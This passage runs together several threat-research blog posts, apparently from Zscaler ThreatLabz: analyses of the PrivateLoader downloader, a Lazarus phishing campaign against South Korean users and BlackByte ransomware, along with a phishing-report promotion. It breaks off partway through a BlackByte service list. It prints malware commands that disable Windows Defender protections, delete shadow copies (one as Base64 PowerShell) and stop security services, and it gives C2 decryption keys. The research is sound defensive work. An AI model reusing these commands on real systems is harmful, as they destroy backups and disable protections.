The C2 address obtained from the dead drop resolver (or the hardcoded C2 address) is combined with the path /base/api/statistics.php. PrivateLoader sends an HTTP GET request to this URL, which in turn fetches another URL that is XOR encrypted with a one-byte key (0x1d). Similar to the previous request, PrivateLoader expects the decrypted response from the C2 to be in the format URL:<PrivateLoader_Main_Component_URL>. An example of a decrypted response from the PrivateLoader C2 is shown below: URL:hxxps://cdn.discordapp[.]com/attachments/934006169125679147/963471252436172840/PL_Client.bmp PrivateLoader retrieves the content from this URL via an HTTP GET request. The response contains an unknown DWORD followed by encrypted data. To decrypt the data, first some of the bytes are replaced as shown in Table 1. Byte to Replace Replacement Byte 0x00 0x80 0x80 0x0a 0x0a 0x01 0x01 0x05 0x05 0xde 0xde 0xfd 0xfd 0xff 0xff 0x55 0x55 0x00 Table 1: Replacement bytes used in PrivateLoader’s decryption algorithm. After the replacement, the data is XOR decrypted with a one-byte key (0x9d). The decrypted data contains the main component, which is a DLL that is injected into the loader process and then executed. The loader passes a structure to the main component containing: The C2 IP address A hard coded integer used in some of the main component’s C2 communications A hard coded integer used to represent the campaign that the malware sample is associated with Main Component The campaign ID passed in from the loader component is mapped to one of 33 campaign names as shown below in Table 2. EU USA_1 USA_2 WW_1 WW_2 WW_3 WW_4 WW_5 WW_6 WW_7 WW_OPERA WW_8 WW_9 WW_10 WW_11 WW_12 WW_13 WW_14 WW_15 WW_P_1 WW_16 WW_17 WW_P_2 WW_P_3 WW_P_4 WW_P_5 WW_P_6 WW_P_7 WW_P_8 WW_18 WW_19 WW_20 WW_21 Table 2: Listing of PrivateLoader campaign names. The sample analyzed for this blog post was configured with campaign ID 27 which maps to WW_P_7. The campaign a particular sample is associated with determines what payloads are downloaded and executed. For some campaigns, the payload URLs are hardcoded into the main component (see the decrypted strings listing), while for others the payload URLs are retrieved from the C2. Some campaigns are also interested in a victim's cryptocurrency and banking activity. PrivateLoader performs this action by searching a large number of file paths, registry keys, browser extensions, and saved browser logins for the following broad groups (see the decrypted strings listing for details): cryptoWallets browser cryptoWallets cold cryptoWallets_part1 cryptoWallets_part2 cryptoGames bankWallets cuBankWallets bankAUWallets paypal bankCAWallets bankWallets_part1 bankWallets_part2 bankMXWallets bankPKWallets bankESWallets shops amazon_eu webhosts VBMT (travel related sites) The wallet and/or saved login data themselves aren’t exfiltrated, rather PrivateLoader just checks for the existence of them. This data is likely used to help determine follow-on payloads such as stealer or banking malware that can make better use of the credentials. The PrivateLoader main component creates a URL by combining the C2 address passed in from the loader with the path /base/api/getData.php. The malware then sends HTTP POST requests containing a command and various data. An example PrivateLoader main component’s request and response is similar to Figure 3. Figure 3: Example C2 request and response by the PrivateLoader main component. The POST data contents in the data field and corresponding response data can be decrypted as follows: Replace the characters "_" with "/" and "-" with "+" Base64 decode the data Generate a 32-byte AES key and a 32-byte HMAC secret with PBKDF2 The password Snowman+under_a_sn0wdrift_forgot_the_Snow_Maiden is stored as an encrypted stack string The salt is stored as the first 16-bytes of the Base64 decoded data The iteration count is hardcoded to 20,000 The HMAC hashing algorithm is SHA512 An IV is stored as the second 16-bytes of the Base64 decoded data An HMAC hash is stored as the last 32-bytes of the Base64 decoded data Between the IV and the HMAC hash is AES encrypted data The HMAC hash is validated Once decrypted, an example C2 beacon looks similar to the following: AddLoggerStat|WW_P_7|{"extensions":[],"links":[{"id":"1916"},{"id":"468"},{"id":"1920"},{"id":"1750"},{"id":"1927"},{"id":"1929"},{"id":"1946"},{"id":"1985"}],"net_country_code":"US","os_country_code":"US"} Each field is pipe delimited and contains the following parameters: Command Campaign name JSON object In this example the JSON object contains: IDs of browser extension payloads that have been downloaded and executed IDs of hardcoded or retrieved payloads that have been downloaded and executed Location of victim based on GeoIP Location of victim based on system data The response data depends on the command and can contain a simple status message (e.g. “success”) or a JSON object. C2 commands may include the following values: GetLinks - get payload URLs GetExtensions - get browser extension payload URLs AddExtensionStat - used to update C2 panel statistics GetIP - used to obtain the victim's external IP address AddLoggerStat - used to update C2 panel statistics SetIncrement|not_elevated - indicates if the malware's process token is not elevated SetIncrement|ww_starts GetCryptoSleeping IsUseDominationProject SetLoaderAnalyze As an example of the GetLinks command, a listing of payload URLs returned for the analyzed sample’s campaign on 04/14/2022 is available here. Some of the payload URLs are encrypted similarly to how the main component was encrypted, while others are unencrypted PE executable files. Conclusion PrivateLoader is a typical downloader malware family that provides a PPI service that has gained traction as a viable malware distribution method for multiple threat actors. PrivateLoader is currently used to distribute ransomware, stealer, banker, and other commodity malware. The loader will likely continue to be updated with new features and functionality to evade detection and effectively deliver second-stage malware payloads. Cloud Sandbox Detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to the campaign at various levels with the following threat names: Win32.Trojan.PrivateLoader Indicators of Compromise IOC Notes aa2c0a9e34f9fa4cbf1780d757cc84f32a8bd005142012e91a6888167f80f4d5 SHA256 hash of analyzed PrivateLoader loader component 077225467638a420cf29fb9b3f0241416dcb9ed5d4ba32fdcf2bf28f095740bb SHA256 hash of analyzed PrivateLoader main component hxxp://45.144.225[.]57/server.txt Loader component dead drop resolver hxxps://pastebin[.]com/raw/A7dSG1te Loader component dead drop resolver hxxp://wfsdragon[.]ru/api/setStats.php Loader component dead drop resolver 212.193.30[.]21 Primary C2 address 2.56.59[.]42 Secondary C2 address /base/api/statistics.php Loader component URI hxxps://cdn.discordapp[.]com/attachments/934006169125679147/963471252436172840/PL_Client.bmp Encrypted main component /base/api/getData.php Main component URI Thu, 28 Apr 2022 08:51:40 -0700 Dennis Schwarz Uncovering new techniques and phishing attack trends from the cloud Download your free copy of the 2022 ThreatLabz Phishing Report, and check out our infographic. For decades, phishing has been a complex and time-consuming challenge for every security team. As the findings of the ThreatLabz 2022 Phishing Report reveal, the challenge is getting harder: adversaries are getting craftier, and attackers are growing in numbers due to pre-built phishing kits available on the darknet. In this annual report, ThreatLabz offers deep insights on the current phishing threat landscape from a full year’s worth of phishing data from the world’s largest security cloud. Avoiding the latest breed of phishing attacks requires heightened awareness from users, additional context, and a zero trust approach. Report Highlights From imitating popular brands like Microsoft to buying advertisements on Google and other search platforms, threat actors use a range of tactics and techniques to trick users into giving up sensitive information. Analyzing data from more than 200 billion daily transactions last year, the 2022 report found that: Phishing attacks rose 29% in 2021 compared to 2020, driven by multiple trends: COVID-19 and work-from-home: Consumers engaged in more activities online, giving attackers new ways to take advantage. Better threat protection: Organizations have been improving their threat prevention capabilities, leading attackers to use more sophisticated methods. Phishing provides adversaries with legitimate login credentials, allowing them to subvert security controls and compromise systems. Phishing-as-a-service: Phishing kits package up pre-built tools to make phishing attacks easier to wage (even by adversaries who lack strong technical skills), and harder to spot for security teams. More than 96% of attacks in our study lacked a referring domain, indicating that the victim clicked a direct link to the phishing site through their email, SMS, or another client. Email continues to be the top phishing vector, but other vectors such as SMS are growing: consumers trust text messages more than emails, and a successful SMS phishing (“SMiShing”) attack can give attackers the smartphone access that they need to bypass two-factor authentication. The top 20 referring domains included search platforms, corporate forums and marketplaces, sharing sites, e-commerce tools, and others. Retail and wholesale saw a massive 436% leap in phishing attacks in 2021 as attackers took advantage of COVID-boosted online shopping trends. Retail and wholesale moved from the fifth-most phished industry category all the way to first, ahead of last year’s most phished industry, manufacturing. The United States is (once again) the most targeted country in our study with more than 60% of phishing attempts. However, phishing only rose 7% in the United States in 2021, whereas the increase was much higher elsewhere. ThreatLabz breaks down the full list of the 10 most targeted countries with details on which countries saw the sharpest increases in phishing attacks during 2021. Additionally, in this year’s report, ThreatLabz analyzes popular techniques used by phishing threat actors and explores some of the key drivers intensifying enterprise risk, including: Top targeted geographies and industry verticals Personalization and highly targeted attacks Zero-day vulnerabilities and rapid exploits Phishing-as-a-service and phishing kits Safe domains and trusted platforms Improve Your Phishing Defenses Industry statistics reveal that the average organization receives dozens of phishing emails daily, with financial losses snowballing as losses incurred from malware and ransomware attacks drive up the average costs of landed phishing attacks year over year. Facing all the threats outlined in this report is a big job, and while you can not completely eliminate the risk of phishing threats, you can learn from observed trends and incidents to better manage risk. The basics for mitigating the risk of phishing attacks: Understand the risks to better inform policy and technology decisions Leverage automated tools and actionable intel to reduce phishing incidents Implement zero trust architectures to limit the blast radius of successful attacks Deliver timely training to build security awareness and promote user reporting Simulate phishing attacks to identify gaps in your program How the Zscaler Zero Trust Exchange Can Mitigate Phishing Attacks User compromise is one of the most difficult security challenges to defend against. Your organization must implement phishing prevention controls as part of a broader zero trust strategy that enables you to detect active breaches and minimize damages caused by successful breaches. The Zscaler Zero Trust Exchange is built on a holistic zero trust architecture to minimize the attack surface, prevent compromise, eliminate lateral movement, and stop data loss. Zscaler helps stop phishing in the following ways: Prevents compromise: Full SSL inspection at scale, browser isolation, and policy-driven access control to prevent access to suspicious websites. Eliminates lateral movement: Connect users directly to apps, not the network, to limit the blast radius of a potential incident. Shuts down compromised users and insider threats: If an attacker gains access to your identity system, we can prevent private app exploit attempts with in-line inspection and detect the most sophisticated attackers with integrated deception. Stops data loss: Inspect data-in-motion and data-at-rest to prevent potential data theft from an active attacker. Related Zscaler products: Zscaler Internet Access helps identify and stop malicious activity by routing and inspecting all internet traffic through the Zero Trust Exchange. Zscaler blocks: URLs and IPs observed in Zscaler cloud, and from natively integrated open source and commercial threat intel sources. This includes policy-defined high-risk URL categories commonly used for phishing such as newly observed and newly activated domains. IPS signatures developed from ThreatLabz analysis of phishing kits and pages. Novel phishing sites identified by content scans powered by AI/ML detection. Advanced Threat Protection blocks all known command-and-control domains. Advanced Cloud Firewall extends command-and-control protection to all ports and protocols, including emerging C&C destinations. Cloud Browser Isolation creates a safe gap between users and malicious web categories, rendering content as a stream of picture-perfect images to eliminate the leakage of data and the delivery of active threats. Advanced Cloud Sandbox prevents unknown malware delivered in second stage payloads. Zscaler Private Access safeguards applications by limiting lateral movement with least privileged access user-to-app segmentation and full in-line inspection of private app traffic. Zscaler Deception detects and contains attackers attempting to move laterally or escalate privileges by luring them with decoy servers, applications, directories, and user accounts. Learn more Download the 2022 Phishing Report by ThreatLabz to learn more about the latest trends in phishing attacks and to discover: Overview of 21 common phishing attack types, 11 scam categories, and threat analysis of the TTPs used in popular and emerging scams How the phishing threat landscape has shifted towards specialization and automation, making it easier for threat actors to launch more potent campaigns than ever before Best practices for identifying attacks and improving your phishing defenses How zero trust can fortify your organization against phishing attacks 2023 phishing trend predictions Get your copy here. About us Zscaler ThreatLabz is a global threat research team with a mission to protect customers from advanced cyberthreats. Made up of more than 100 security experts with decades of experience in tracking threat actors, malware reverse engineering, behavior analytics, and data science, the team operates 24/7 to identify and prevent emerging threats using insights from 300 trillion daily signals from the Zscaler Zero Trust Exchange. Since its inception, ThreatLabz has been tracking the evolution of emerging threat vectors, campaigns, and groups, contributing critical findings and insights on zero-day vulnerabilities, —including active IOCs and TTPs for threat actors, malware, and ransomware families, phishing campaigns, and more. ThreatLabz supports industry information sharing and plays an integral role in the development of world-class security solutions at Zscaler. See the latest ThreatLabz threat research on the Zscaler blog. Wed, 20 Apr 2022 12:00:01 -0700 Rohit Hegde A "Naver"-ending game of Lazarus APT Zscaler’s ThreatLabz research team has been closely monitoring a campaign targeting users in South Korea. This threat actor has been active for more than a year and continues to evolve its tactics, techniques, and procedures (TTPs); we believe with high confidence that the threat actor is associated with Lazarus Group, a sophisticated North Korean advanced persistent threat (APT) group. In 2021, the main attack vector used by this threat actor was credential phishing attacks through emails, posing as Naver, the popular South Korean search engine and web portal. In 2022, the same threat actor started spoofing various important entities in South Korea, including KRNIC (Korea Internet Information Center), Korean security vendors such as Ahnlab, cryptocurrency exchanges such as Binance, and others. Some details about this campaign were published in this Korean blog, however they did not perform the threat attribution. Even though the TTPs of this threat actor evolved over time, there were critical parts of their infrastructure that were reused, allowing ThreatLabz to correlate the attacks and do the threat attribution with a high-confidence level. Our research led us to the discovery of command-and-control (C2) domains even before they were used in active attacks by the threat actor. This proactive discovery of attacker infrastructure helps us in preempting the attacks. In this blog, we will share the technical details of the attack chains, and will explain how we correlated this threat actor to Lazarus. We would like to thank Dropbox for their quick action in taking down the malicious accounts used by the threat actor, and for also sharing valuable threat intelligence that helped us with threat attribution. Attack chains This threat actor has frequently updated its attack chains over the last two months. We identified three unique attack chains used by the threat actor to distribute the malware in emails: Figure 1: Attack flow Spear phishing emails distribution During our analysis, we discovered that at least one of the IP addresses (222.112.127[.]9) used by the threat actor to log in to the attacker-controlled Dropbox accounts was also used to send spear phishing emails to the victims in South Korea. Below are examples of two such emails that were sent from the IP address 222.112.127[.]9. Note: This IP address is related to KT Corporation, a Korean telecom provider. Multiple IP addresses related to KT Corporation were abused by this threat actor during the current attack. Email #1 In this email, a macro-based document was sent to the victim. Figure 2: Email sent to the victim Figure 3 below shows that the decoy content of the document is related to Menlo Security company. This is consistent with other decoy contents used by the threat actor. For instance, in the document with MD5 hash: 1a536709554860fcc2c147374556205d, the decoy content used was related to Ahnlab - a Korea-based computer security company. This is done for the purpose of social engineering. Figure 3: Decoy content Email #2 In this email, a password protected macro-based XLS file was sent to the victim. The password for the file was mentioned in the email body. The theme of the file is related to cryptocurrency investments. This theme is consistent with other documents sent in this campaign as well. Lazarus Group is known to have a keen interest in attacking cryptocurrency users, asset managers, and companies. Figure 4: Email sent to the victim Figure 5 below shows the sender's IP address in the email headers as indicated by the X-Originating-IP field. Figure 5: Email header showing originating IP, Sender and Recipient Threat attribution In order to perform the threat actor attribution, we did a correlation of the below data points. 1. C2 IP addresses 2. Attacker-controlled Dropbox accounts’ registrant email addresses 3. C2 domains’ registrant email addresses 4. Passive DNS data 5. Sender's email address in credential phishing attacks 6. Sender's IP address in credential phishing attacks Note: OSINT information related to the above data points was also used in correlation analysis. # Correlating different attacks to same threat actor As described in the network communication section later in the blog, the Stage-3 binary initially connects to an attacker-controlled Dropbox account to fetch a C2 domain which is used to perform further network communication. In collaboration with Dropbox, we were able to discover the email addresses associated with the attacker-controlled Dropbox accounts used during this attack. One such email addresses was: peterstewart0326@gmail[.]com This same email address was recently mentioned in Prevailion's blog. It was linked to several domains which were used during Naver-themed phishing activity. Also, according to this blog from 2021, this same email address was also used to send Naver-themed credential phishing attack emails to users in South Korea. Correlating the above data points, we can say with a high confidence level that the attack chains we have described in this blog are also related to the same threat actor. # Attribution to Lazarus APT According to the threat infrastructure mapping done in Prevailion blog, the IP address 23.81.246[.]131 belongs to one of the critical nodes used by the threat actor during Naver-themed phishing activity. One of the domains linked to this IP address was navercorpservice[.]com. If we check the passive DNS data for this domain, we find two other IP address resolutions: 172.93.201[.]253 in November 2021 and 45.147.231[.]213 in September 2021. The IP address 172.93.201[.]253 was recently used to host the domain - disneycareers[.]net which was attributed to Lazarus APT in Google TAG blog. Further, what caught our attention was the IP address 45.147.231[.]213. This IP address was earlier used by North Korea-based APT threat actor. Recently, we also had a new domain resolution alert for this IP address as part of our C2 infrastructure tracking. If we pivot on the passive DNS data for this IP address, we can see that the domain: www.devguardmap[.]org was hosted on this IP address in Jan 2021 which was attributed to Lazarus APT as per this tweet from ESET and Google TAG blog. Correlating all the above data points, we reached the conclusion that the attack-chains we discovered are related to Lazarus threat actor. To the best of our knowledge, at the time of writing, this threat actor attribution has not been publicly documented yet. Technical analysis For the purpose of technical analysis we will consider the attack chain starting with a Compiled HTML file having MD5 210db61d1b11c1d233fd8a0645946074. [+] Stage 1: Compiled HTML file The CHM file contains a malicious binary embedded inside it. At runtime, this will be dropped on the filesystem in the path: C:\\programdata\\chmtemp\\chmext.exe and executed. The code responsible for extracting, dropping and executing the binary is present inside 1hh.html as shown below. Figure 6: HTML code dropping and executing the binary [+] Stage 2: Dropper The dropper on execution performs the following operations: 1. Detects sleep patching to identify controlled execution environment such as Sandbox execution 2. Checks the name of all the running processes and terminates if it finds a process running with the name "v3l4sp.exe". This process name corresponds to the security software developed by Ahnlab (a popular and frequently used security vendor in South Korea). 3. Creates file in the path "C:\ProgramData\Intel\IntelRST.exe" 4. XOR decodes the embedded PE from a hardcoded address 5. Writes the decoded PE to the file created in Step-3 6. Modifies PEB to masquerade itself as explorer.exe 7. Executes IntelRST.exe 8. Creates RUN registry entry for persistence Value: IntelCUI Data: C:\ProgramData\Intel\IntelRST.exe [+] Stage 3: Dropped binary The file IntelRST.exe dropped by the Stage-2 dropper is an ASpacked binary. On execution it performs the following operations: 1. Similar to the dropper binary it tries to detect sleep patching to identify controlled execution environment 2. Collects machine information and stores using the specified format which is later exfiltrated and used as machine identifier. String format: [decoded_string]_[username]_[volume_serial_number_post_8_bytes] decoded_string: (encoded string) ^ (key) [encoded_string_byte_offset%keySize] username: GetUserName() volume_serial _number: Using DeviceIoControl with IOCTL_STORAGE_QUERY_PROPERTY (0x2d1400) 3. Checks name of all the running processes and terminates if there is some process running with the name "v3l4sp.exe" or "AYAgent.aye" or "IntelRST.exe" 4. If running with administrator privileges then it executes a PowerShell command using cmd.exe to add WindowsDefender exclusion. PowerShell command: Powershell -Command Add-MpPreference -ExclusionPath "C:\ProgramData\Intel\IntelRST.exe 5. Finally it starts the network communication [+] Network communication The network communication occurs in the following sequence: 1. Send a GET request to the URL "". 2. Query the file size and send another network request to read the file content. Note: The file content points to the C2 domain to be used for rest of the network communication. 3. Using the extracted C2 domain, send a POST request to the path "/post.php" and exfiltrate collected user information. Exfiltrated user information format: uid={string_generated_in_Step-2_of_Stage-3_binary}&avtype=%d&majorv=%d&minorv=%d 4. Finally send a GET request to the path "/{decoded_string_from_step-2_of_Stage-3_binary}/{formated_string_from_step-2_of_Stage-3_binary}/fecommand.acm" Note: At the time of analysis we didn't get any active response from the C2 server for the above network request. Zscaler Cloud Sandbox detection # Document detection # Dropper detection Indicators of compromise [+] Hashes MD5 Description 37505b6ff02a679e70885ccd60c13f3b c156572dd81c3b0072f62484e90e47a0 Document d7f6b09775b8d90d79404eda715461b7 a0f565f7f579f0d397a42db5a95d4ae8 e2e5644e77e75e422bde075f409d882e 37b7415442ab8ca01e08b2d7bfe809e2 d19dd02cf375d0d03f557556d5207061 e3ffda448df223b240a20dae41e20cef e732bc87033a935bd2d3d56c7772641b 825730d9dd22dbae7f2bd89131466415 c32f40f304777df7cfab428a54bb818b b587851d8a42fc8c23f638bbc2eb866b 4382384feb5ad6b574f68e431006905e 493f59b6933e59029bf3106fd4a2998d bdfb5071f5374f5c0a3714464b1fa5e6 1769a818548a0b52c7be2a0a213a9384 7b07cd6bb6b5d4ed6a2892a738fe892b 9775ef6514916977d73e39a6b09029bc 44be20c67a80af8066f9401c5bee43cb 15a7125fe9e629122e1d1389062af712 1fd8fef169bf48cfdcf506151264128c 9ad00e513364e9f44f1b6712907cba9b 1a536709554860fcc2c147374556205d a2aca7b66f678b85fc7b4015af21c5ee bd416ea51f94d815b5b5b66861cbdcc5 ecb2d07ede5a401c83a5fca8e00fa37a db0483aced77a7db130a6100aef67967 c0b24dc8f53227ce0c64439b302ca930 bb9ee3a6504fbf6a5486af04dbbb5da5 ce00749c908de017010055a83ac0654f 2677f9871cb340750e582cb677d40e81 Document (Template based) 90f2b7845c203035f0d7096aa28dda83 044e701e8d288075b0fb6cd118aa94db 556abc167348fe96abfbf5079c3ad488 0ef32b48f6ca3a1a22ab87058b3d8aa0 4548c7f157d300ec39b1821db4daa970 430d944786e05042cdbe1d795ded2199 96d86472ff283f6959b7a779f004dfba 137910039cb94c0301154f3d1ec9ba29 728b908e90930c73edeb1bf58b6a3a64 1559aeb8e464759247e4588cb6a09877 6df608342938f0d30a058c48bb9d8d4d 78aa7e785a96f2826ee09a1aa9ab776e 0c2dde41d508941cf215fe8f1f7e03a7 783e7c3ba39daa28301b841785794d76 a225b7aff737dea737cd969fb307df23 Template 210db61d1b11c1d233fd8a0645946074 e25ac08833416b8c7191639b60edfa21 114f22f3dd6928bed5c779fa918a8f11 Compiled HTML (CHM) [+] File names Original Name Translated Name 확진자 및 동거인 안내문 (50).chm 메타콩즈가이드_1900002.chm NFT Metakongz Minting.chm 202204_암호화폐_투자기획.docx 사건 경위서.docx 마산합포구 400억 대출요청.docx 40억_자금투자계약서.docx 긴급재난지원금신청서양식.docx 대한광산개발(주).docx 크립토스_로그인.docx Guide to confirmed cases and living with them (50).chm Meta Kong's Guide_190002.chm NFT Metakongz Minting.chm 202204_Cryptocurrency_Investment Planning.docx incident report.docx Masanhappo-gu 40 billion loan request.docx 4 billion_fund investment contract.docx Emergency Disaster Subsidy Application Form.docx Daehan Mine Development Co., Ltd. docx cryptos_login.docx [+] C2 domains naveicoipg[.]online naveicoipf[.]online naveicoipc[.]tech naveicoipa[.]tech naveicoipe[.]tech naveicoipd[.]tech naveicoipep[.]tech naveicoiph[.]online naveicoipg[.]tech naveicoipf[.]tech naveicoipb[.]tech naveicoipj[.]online naveicoipi[.]online naveicoipe[.]online naveicoipd[.]online naveicoipc[.]online naveicoipb[.]online naveicoipa[.]online naveicoipc[.]com naveicoipa[.]com naveicoip[.]com naveicoiph[.]tech naveicoip[.]tech naveicorp[.]com copycatfrag[.]store knightsfrag[.]store parfumeparlour[.]store # New domain resolutions for the IP 23.81.246[.]131 navernidb[.]link navermailteam[.]online navermailservice[.]com mailservicecorp[.]online mailhelp[.]online mailcustomerservice[.]site cloudcentre[.]xyz naverservice[.]host mailserviceteam[.]email navermcorp[.]com naverserviceteam[.]com naversecurityteam[.]com navermanageteam[.]com navermailmanage[.]com navercorpservice[.]com navermailcorp[.]com naversecurityservice[.]online navermailservice[.]online navercorp[.]live navercscorp[.]com navermanage[.]live navermanage[.]com navernidmail[.]com noreplya[.]xyz [+] Emails # Dropbox accounts associated email addresses peterstewart0326@gmail[.]com kimkl0222@hotmail[.]com laris081007@hotmail[.]com [+] PDB path D:\Works\PC_2022\ACKS_2012\fengine\Release\fengine.pdb About us Zscaler ThreatLabz is a global threat research team with a mission to protect customers from advanced cyberthreats. Made up of more than 100 security experts with decades of experience in tracking threat actors, malware reverse engineering, behavior analytics, and data science, the team operates 24/7 to identify and prevent emerging threats using insights from 300 trillion daily signals from the Zscaler Zero Trust Exchange. Since its inception, ThreatLabz has been tracking the evolution of emerging threat vectors, campaigns, and groups, contributing critical findings and insights on zero-day vulnerabilities, —including active IOCs and TTPs for threat actors, malware, and ransomware families, phishing campaigns, and more. ThreatLabz supports industry information sharing and plays an integral role in the development of world-class security solutions at Zscaler. See the latest ThreatLabz threat research on the Zscaler blog. Tue, 26 Apr 2022 08:00:01 -0700 Sahil Antil Analysis of BlackByte Ransomware's Go-Based Variants Key Points BlackByte is a full-featured ransomware family that first emerged around July 2021 The ransomware was originally written in C# and later redeveloped in the Go programming language around September 2021 The threat group exfiltrates data prior to deploying ransomware and leaks the stolen information if a ransom is not paid The group has demanded multi-million dollar ransoms from some victims BlackByte ransomware employs various anti-analysis techniques including a multitude of dynamic string obfuscation algorithms In early versions of the ransomware, file encryption utilized a hardcoded 1,024-bit RSA public key along with a 128-bit AES key that was derived from a file retrieved from a command and control server More recent BlackByte versions use Curve25519 Elliptic Curve Cryptography (ECC) for asymmetric encryption and ChaCha20 for symmetric file encryption Introduction BlackByte is a Ransomware-as-a-Service (RaaS) group that has been targeting corporations worldwide since July 2021. Previous versions of the ransomware were written in C#. More recently, the authors redeveloped the ransomware using the Go programming language. The BlackByte Go variant was used in attacks described in an FBI advisory that warned BlackByte had compromised numerous businesses, including entities in US critical infrastructure sectors. In this post, Zscaler ThreatLabz analyzes two variants of the Go-based implementation of BlackByte ransomware. Technical Analysis Variants ThreatLabz has identified two variants of the Go-based variant of BlackByte. The first variant was seen in-the-wild around September 2021 and shares many similarities with the C# version including the commands executed to perform lateral propagation, privilege escalation, and file encryption algorithms. A more recent Go-based variant was introduced around February 2022. This new variant introduced many additional features and updated the file encryption algorithms. In this blog, for brevity, the Go-based BlackByte variant 1 will be referred to as BlackByte v1 and the second variant will be referred to as BlackByte v2. Initialization Before BlackByte performs file encryption, the ransomware first performs initialization. Most of these initialization functions are very similar or identical to the C# variant of BlackByte. Mutex Creation BlackByte creates a mutex using a value that is hardcoded in the malware, for example: Global\7b55551e-a59c-4252-a34a-5c80372b3014. If the mutex exists, BlackByte will terminate. This ensures that there is only one active instance of BlackByte running at a time. Identify System Language BlackByte ransomware resolves the victim's system language by comparing the language ID values with those shown in Table 1. If the system language matches any from this list, BlackByte will exit without performing file encryption. Language ID Language 1049 Russian 1058 Ukrainian 1059 Belarusian 1064 Tajik 1067 Armenian 1068 Azerbaijani Latin 1079 Georgian 1087 Kazakh 1090 Turkmen 1091 Uzbek Latin 2092 Azerbaijani Cyrillic 2115 Uzbek Cyrillic Table 1. System languages avoided by BlackByte ransomware These languages are specifically avoided by BlackByte to prevent encrypting files on systems that are located in Commonwealth of Independent States (CIS) countries. This likely indicates that the threat actors behind BlackByte are located in Eastern Europe and/or Russia. This is designed to reduce the threat that local law enforcement in those regions will pursue criminal prosecution against those responsible for BlackByte. Enable Long Paths The malware executes the following command to avoid issues that may occur when encrypting files with long path names: C:\WINDOWS\system32\cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v LongPathsEnabled /t REG_DWORD /d 1 /f Disable Controlled Folder Access BlackByte executes the following command to disable controlled folder access: Set-MpPreference -EnableControlledFolderAccess Disabled The Windows controlled folder access feature is designed to protect data from malicious applications such as ransomware. When enabled, files located in the specified protected folders can not be modified by unauthorized applications. Delete Shadow Copies Similar to other ransomware families, BlackByte deletes shadow copies to prevent a victim from easily recovering files from backups. There are two methods that BlackByte uses to delete shadow copies. The first executes the following PowerShell command: $x = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAg'+ 'AFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8AC'+'AARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkA'+ 'F8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA=='));Invoke-Expression $x The Base64 encoding string when decoded is the following: Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();} BlackByte also executes the commands to delete shadow copies for each drive: C:\WINDOWS\system32\cmd.exe /c vssadmin resize shadowstorage /for=<unit>: /on=<unit>: /maxsize=401MB C:\WINDOWS\system32\cmd.exe /c vssadmin resize shadowstorage /for=<unit>: /on=<unit>: /maxsize=unbounded Process Termination and Stop / Start Services The following commands are executed by BlackByte to stop services that may hinder file encryption: C:\WINDOWS\system32\sc.exe config SQLTELEMETRY start= disabled C:\WINDOWS\system32\sc.exe config SQLTELEMETRY$ECWDB2 start= disabled C:\WINDOWS\system32\sc.exe config SQLWriter start= disabled C:\WINDOWS\system32\sc.exe config SstpSvc start= disabled C:\WINDOWS\system32\sc.exe config MBAMService start= disabled C:\WINDOWS\system32\sc.exe config wuauserv start= disabled BlackByte will also start the following services: C:\WINDOWS\system32\sc.exe config Dnscache start= auto C:\WINDOWS\system32\sc.exe config fdPHost start= auto C:\WINDOWS\system32\sc.exe config FDResPub start= auto C:\WINDOWS\system32\sc.exe config SSDPSRV start= auto C:\WINDOWS\system32\sc.exe config upnphost start= auto C:\WINDOWS\system32\sc.exe config RemoteRegistry start= auto BlackByte ransomware terminates the following processes shown in Table 2 at the beginning of the execution: uranium processhacker procmon pestudio procmon64 x32dbg x64dbg cffexplorer procexp64 procexp pslist tcpview tcpvcon dbgview rammap rammap64 vmmap ollydbg autoruns autorunsc regmon idaq idaq64 immunitydebugger wireshark dumpcap hookexplorer importrec petools lordpe sysinspector proc_analyzer sysanalyzer sniff_hit windbg joeboxcontrol joeboxserver joeboxserver resourcehacker fiddler httpdebugger dumpit rammap rammap64 vmmap agntsvc cntaosmgr dbeng50 dbsnmp encsvc excel firefox firefoxconfig infopath isqlplussvc mbamtray msaccess msftesql mspub mydesktopqos mydesktopservice mysqld mysqld-nt mysqld-opt Ntrtscan ocautoupds ocomm ocssd onenote oracle outlook PccNTMon powerpnt sqbcoreservice sql sqlagent sqlbrowser sqlservr sqlwriter steam synctime tbirdconfig thebat thebat64 thunderbird tmlisten visio winword wordpad xfssvccon zoolz filemon nsservice nsctrl Table 2. Process names terminated by BlackByte ransomware Many of these process names are related to business applications. BlackByte kills these processes to avoid open file handle permission issues when performing file encryption of the victim's files. In addition, the list contains a large number of malware analyst tools that can be used to reverse engineer the functionality of the ransomware. BlackByte also terminates the following services that are associated with antivirus products, backup software, and business applications including financial software, email clients, and databases as shown below in Table 3. klvssbridge64 vapiendpoint ShMonitor Smcinst SmcService SntpService svcGenericHost swi_ TmCCSF tmlisten TrueKey TrueKeyScheduler TrueKeyServiceHelper WRSVC McTaskManager OracleClientCache80 mfefire wbengine mfemms RESvc mfevtp sacsvr SAVAdminService SAVService SepMasterService PDVFSService ESHASRV SDRSVC FA_Scheduler KAVFS KAVFSGT kavfsslp klnagent macmnsvc masvc MBAMService MBEndpointAgent McShield audioendpointbuilder Antivirus AVP DCAgent bedbg EhttpSrv MMS ekrn EPSecurityService EPUpdateService ntrtscan EsgShKernel msexchangeadtopology AcrSch2Svc MSOLAP$TPSAMA Intel(R) PROSet Monitoring msexchangeimap4 ARSM unistoresvc_1af40a ReportServer$TPS MSOLAP$SYSTEM_BGC W3Svc MSExchangeSRS ReportServer$TPSAMA Zoolz 2 Service MSOLAP$TPS aphidmonitorservice SstpSvc MSExchangeMTA ReportServer$SYSTEM_BGC Symantec System Recovery UI0Detect MSExchangeSA MSExchangeIS ReportServer MsDtsServer110 POP3Svc MSExchangeMGMT SMTPSvc MsDtsServer IisAdmin MSExchangeES EraserSvc11710 Enterprise Client Service MsDtsServer100 NetMsmqActivator stc_raw_agent VSNAPVSS PDVFSService AcrSch2Svc Acronis CASAD2DWebSvc CAARCUpdateSvc McAfee avpsus DLPAgentService mfewc BMR Boot Service DefWatch ccEvtMgr ccSetMgr SavRoam RTVscan QBFCService QBIDPService 